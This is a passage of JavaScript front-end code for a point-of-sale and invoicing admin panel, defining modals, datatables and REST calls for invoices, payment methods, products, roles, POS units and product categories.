$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#feesList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
},
save: function(opts) {
if (empty(opts.iic)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
//opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.iic).action('correct').put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
},
shown: function($modal) {
//listen to order.changed event to re calculate summaries
//fire trigger
$('form[name="newInvoice"]').on('order.changed', function() {
DevPos.Invoice.order.summaries.calculate();
});
}
};
opts = $.extend(defaults, opts);
console.log(opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
else if (opts.iic)
return Modal.edit({ ...opts, title: __('Correct') +': '+ opts.iic });
return Modal.create(opts);
},
order: {
fee: {
add: function() {
$('#feesList tbody tr:last').before(this.row());
},
row: function(opts = {}) {
let defaults = {
amount: 0,
feeTypes: Cache.get('feeTypes')||['Paketim', 'Shishe', 'Komision', 'Të tjera']
};
opts = $.extend(defaults, opts);
return `
<tr>
<td>
${Html.select({
name: 'feeType',
value: opts.feeType,
options: opts.feeTypes
})}
</td>
<td>
${Html.input({
name: 'amount',
value: opts.amount
})}
</td>
<td class="text-center">
<a href="javascript:void(0)" class="btn btn-danger btn-elevate btn-circle btn-icon btn-sm" onclick="$(this).closest('tr').remove()"><i class="fa fa-trash"></i></a>
</td>
</tr>`;
}
},
paymentMethod: {
add: function() {
let self = this;
return Modal.create({
title: 'Add Payment Method',
modalID: 'addPaymentMethod',
size: 'md',
template: templates().devpos[DevPos.Invoice.itemType].paymentMethod(),
parameters: function($modal) {
let parameters = Modal.parameters($('.vModal:visible'));
if (parameters.paymentMethodType == '2')
parameters.voucher = $modal.find('[name="voucher"]').val();
if (parameters.paymentMethodType == '2')
parameters.accountId = $modal.find('[name="accountId"]').val();
return parameters;
},
save: function(opts) {
closeVModal(function(){
$('#paymentMethodsList tbody tr:last').before(self.row(opts.parameters));
});
}
});
//$('#paymentMethodsList tbody tr:last').before(this.row());
},
row: function(opts = {}) {
let defaults = {
amount: 0,
paymentMethodTypes: Cache.get('paymentMethods')||[
'BANKNOTE',
'CARD',
'CHECK',
'SVOUCHER',
'COMPANY',
'ORDER',
'ACCOUNT',
'FACTORING',
'COMPENSATION',
'TRANSFER',
'WAIVER',
'KIND',
'OTHER'
],
banks: Cache.get('banks')||[]
};
opts = $.extend(defaults, opts);
console.log(opts);
return `
<tr>
<td>
<div class="row px-2">
<div class="col">
${Html.select({
name: 'paymentMethodType',
value: opts.paymentMethodType,
options: opts.paymentMethodTypes,
shown: function(elm) {
$(elm).change(function(){
let value = $(elm).val();
if (value == '6') {
$(elm).closest('tr').find('[name="accountId"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('tr').find('[name="accountId"]').closest('div').addClass('d-none');
}
//voucher
if (value == '2') {
$(elm).closest('tr').find('[name="voucher"]').closest('div').removeClass('d-none');
}
else {
$(elm).closest('tr').find('[name="voucher"]').closest('div').addClass('d-none');
}
}).change();
}
})}
</div>
<div class="col d-none">
${Html.select({
class: 'form-control',
name: 'accountId',
value: opts.accountId,
options: function(value) {
return Cache.get('banks').map(row => {
return `<option value="${row.id}" ${value == row.accountId ? 'selected':''}>${row.bankName} - ${row.number}</option>`;
}).join('');
},
})}
</div>
<div class="col d-none">
${Html.input({
class: 'form-control',
name: 'voucher',
value: opts.voucher,
})}
</div>
</div>
</td>
<td>
${Html.input({
name: 'amount',
value: opts.amount
})}
</td>
<td class="text-center">
<a href="javascript:void(0)" class="btn btn-danger btn-elevate btn-circle btn-icon btn-sm" onclick="$(this).closest('tr').remove()"><i class="fa fa-trash"></i></a>
</td>
</tr>`;
}
},
product: {
add: function($modal) {
if(typeof $modal == 'undefined')
$modal = $('.modal:visible');
$modal.find('.productLine:last').after( DevPos.Invoice.product.component() );
//focus input
$modal.find('.productLine:last input.tt-input').focus();
},
calculateDiscount: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
calculateTax: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
parameters: function($tr) {
return {
quantity: parseFloat($tr.find('[name="quantity"]').val()||0),
unitPrice: parseFloat($tr.find('[name="unitPrice"]').val()||0),
discount: parseFloat($tr.find('[name="discount"]').val()||0),
amount: parseFloat($tr.find('td.amount').text().trim()||0),
};
},
row: function(row = {}) {
let defaults = {
id: '',
barcode: '',
isInvestment:'',
quantity: 1,
unit: 'cope',
unitPrice: '',
discount: '',
amount: '',
vatRate: '',
};
row = $.extend(defaults, row);
console.log(row);
let self = this;
let html = `
<tr data-barcode="${row.barcode}" data-investiment="${row.isInvestment}" data-product-id="${row.id}">
<td class="py-4" data-attribute="name">${row.name}</td>
<td class="total py-4" data-attribute="unit">${__(row.unit||'piece')}</td>
<td data-attribute="quantity">
${Html.input({
name: 'quantity',
value: 1,
onChange: function(elm) {
console.log('changed');
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td data-attribute="unitPrice">
${Html.input({
name: 'unitPrice',
value: row.rate,
onChange: function(elm) {
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td data-attribute="rebatePrice">
${Html.input({
name: 'discount',
value: row.discount||0,
onChange: function(elm) {
DevPos.Invoice.order.product.reCalculate($(elm).closest('tr'));
}
})}
</td>
<td class="py-4 total" data-attribute="amount"> ${row.amount||row.rate} </td>
<td class="vat py-4" data-attribute="vatRate"></td>
<td class="text-center"><a href="javascript:void(0)" class="ml-3 btn btn-outline-danger btn-elevate btn-icon btn-sm btn-label-danger" onclick="DevPos.Invoice.order.product.remove(this)"><i class="fa fa-trash"></i></a></td>
</tr>`;
return html;
},
reCalculate: function($tr) {
let parameters = this.parameters($tr);
//calculate amount
let amount = parameters.quantity * parameters.unitPrice;
let discountValue = 0;
if (!empty(parameters.discount)) {
discountValue = parameters.discount * amount / 100;
amount = amount - discountValue;
}
$tr.find('[name="discount"]').attr('data-value', discountValue);
$tr.find('td[data-attribute="amount"]').text(amount);
//fire trigger
$tr.closest('form').trigger('order.changed');
},
remove: function(elm) {
let $form = $(elm).closest('form');
$(elm).closest('tr').remove();
//fire trigger
$form.trigger('order.changed');
//after resetting summaries we reload the rates bc we have to send new subtotal to server
//reload Rates for products present already
this.reloadRates();
},
removeLast: function($modal) {
//remove last
if ($modal.find('.productLine').length == 1)
return;
$modal.find('.productLine:last').remove();
//fire trigger
$modal.find('form').trigger('order.changed');
}
},
summaries: {
discount() {
//discount is calculated based on coupon
let discount = 0;
$('#productsList tbody tr input[name="discount"]').each(function() {
discount += parseFloat($(this).attr('data-value')||0);
});
return discount;
},
subtotal() {
let subtotal = 0;
$('#productsList tbody tr ').each(function(){
subtotal += parseFloat($(this).attr('data-value')||0);
});
return subtotal;
},
taxes() {
let taxes = 0;
$('.productsList .productLine input[name="tax"]').each(function(){
taxes += parseFloat($(this).attr('data-value')||0);
});
return taxes;
},
total() {
let total = 0;
$('#productsList tr td[data-attribute="amount"]').each(function(){
total += parseFloat($(this).text()?.trim()||0);
});
return total;
},
calculate() {
//set subtotal
//$('div.subtotal').text(priceNum(this.subtotal()));
//set discount
//$('div.discount').text(priceNum(this.discount()));
//set taxes
//$('div.taxes').text(priceNum(this.taxes()));
console.log('caluclating total:');
//set total
$('div.total').text(priceNum(this.total()));
}
},
},
print: function() {
//first we have to replace the canvas with image
var can = document.querySelector('#qrcode canvas');
var ctx = can.getContext('2d');
//ctx.fillRect(50,50,50,50);
var img = new Image();
img.src = can.toDataURL();
document.body.appendChild(img);
let div = $('<div />').html($('#invoiceContent').parent().html());
div.find('canvas').replaceWith(img);
//print it
Printer.print(div.html());
},
replaceCanvasWithImage: function($element) {
//first we have to replace the canvas with image
var cans = $element[0].querySelectorAll('canvas');
cans.forEach(function(can) {
var ctx = can.getContext('2d');
var img = new Image();
img.src = can.toDataURL();
document.body.appendChild(img);
//replace it
can.replaceWith(img);
});
return $element;
},
search: function() {
return new Model(this.itemType);
},
url: function(itemID) {
return `/devpos/invoices/${itemID}`;
},
view: function(itemID) {
window.location.href = this.url(itemID);
}
},
Role: {
itemType: 'roles',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'name', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
description: {field: 'description', title: __('Description')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'description', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = opts.item.id;
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
if (!empty(opts.item)) {
//add permissions
parameters.permissions = Cache.get('roles').find(row => row.id == opts.item.id)?.permissions||[];
}
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
POS: {
itemType: 'pos',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.code)) {
filtered = source.filter(row => {
return row.code.toLowerCase().startsWith(parameters.code.toLowerCase());
});
}
if(!empty(parameters.businessUnitCode)) {
filtered = source.filter(row => {
return row.businessUnitCode.toLowerCase() == parameters.businessUnitCode.toLowerCase();
});
}
if(!empty(parameters.created_min)) {
filtered = source.filter(row => {
return row.registrationDate >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = source.filter(row => {
return row.registrationDate <= parameters.created_max + ' 23:59:59';
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
address: {field: 'address', title: __('Address')},
businessUnitCode: {field: 'businessUnitCode', title: __('Business Unit Code')},
city: {field: 'city', title: __('City')},
code: {field: 'code', title: __('Code')},
description: {field: 'description', title: __('Description')},
latitude: {field: 'latitude', title: __('Latitude')},
longitude: {field: 'longitude', title: __('Longitude')},
registrationDate: {field: 'registrationDate', title: __('Registration Date')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'code', 'description', 'address', 'city', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, idTypes: Cache.get('idTypes'), cities: Cache.get('cities') }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Product: {
itemType: 'products',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter() { //this method is used for filtering items based on filter form on the page
let api = this.search();
let parameters = Modal.parameters( $('form[name="filter"]') , true);
// we add other filter condition here
if(!empty(parameters.name)) {
api.where('name', 'like', '%'+ parameters.name +'%');
}
//and in the end we return it
return api;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
barcode: {field: 'barcode', title: __('Barcode')},
unitPrice: {field: 'unitPrice', title: __('Unit Price')},
buyingPrice: {field: 'buyingPrice', title: __('Buying Price')},
rebatePrice: {field: 'rebatePrice', title: __('Rebate Price')},
isRebateReducingBasePrice: {field: 'isRebateReducingBasePrice', title: __('Is RebateReducing Base Price')},
vatRate: {field: 'vatRate', title: __('Vat Rate')},
consumptionTaxRate: {field: 'consumptionTaxRate', title: __('Consumption Tax Rate')},
productCategoryName: {field: 'productCategoryName', title: __('Product Category Name')},
unitName: {field: 'unitName', title: __('Unit Name')},
productCost: {field: 'productCost', title: __('Product Cost')},
profitMargin: {field: 'profitMargin', title: __('Profit Margin')},
minQuantity: {field: 'minQuantity', title: __('Min Quantity')},
isSealable: {field: 'isSealable', title: __('Is Sealable')},
affectsWarehouse: {field: 'affectsWarehouse', title: __('Affects Warehouse')},
productType: {field: 'productType', title: __('Product Type')},
amount: {field: 'amount', title: __('Amount')},
refund: {field: 'refund', title: __('Refund')},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'barcode', 'unitPrice', 'productCategoryName', 'productType', 'amount', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
//and in the end we return it
return filtered;
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
categories: Cache.get('categories'),
suppliers: Cache.get('suppliers'),
units: Cache.get('units')
}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
if (parameters.isDifFromBaseUnit == '0') {
//delete entryUnitId and entryUnitRatio
delete parameters.entryUnitId;
delete parameters.entryUnitRatio;
}
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
ProductCategory: {
itemType: 'product-categories',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
code: {field: 'code', title: __('Code')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'code', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item, idTypes: Cache.get('idTypes'), cities: Cache.get('cities') }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
ProductGroup: {
itemType: 'product-groups',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
code: {field: 'code', title: __('Code')},
groupParentId: {field: 'cogroupParentIdde', title: __('Group ParentId')},
level: {field: 'level', title: __('Level')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'code', 'level', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'md',
template: templates()[self.prefix][self.itemType].template({item: opts.item }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Unit: {
itemType: 'units',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
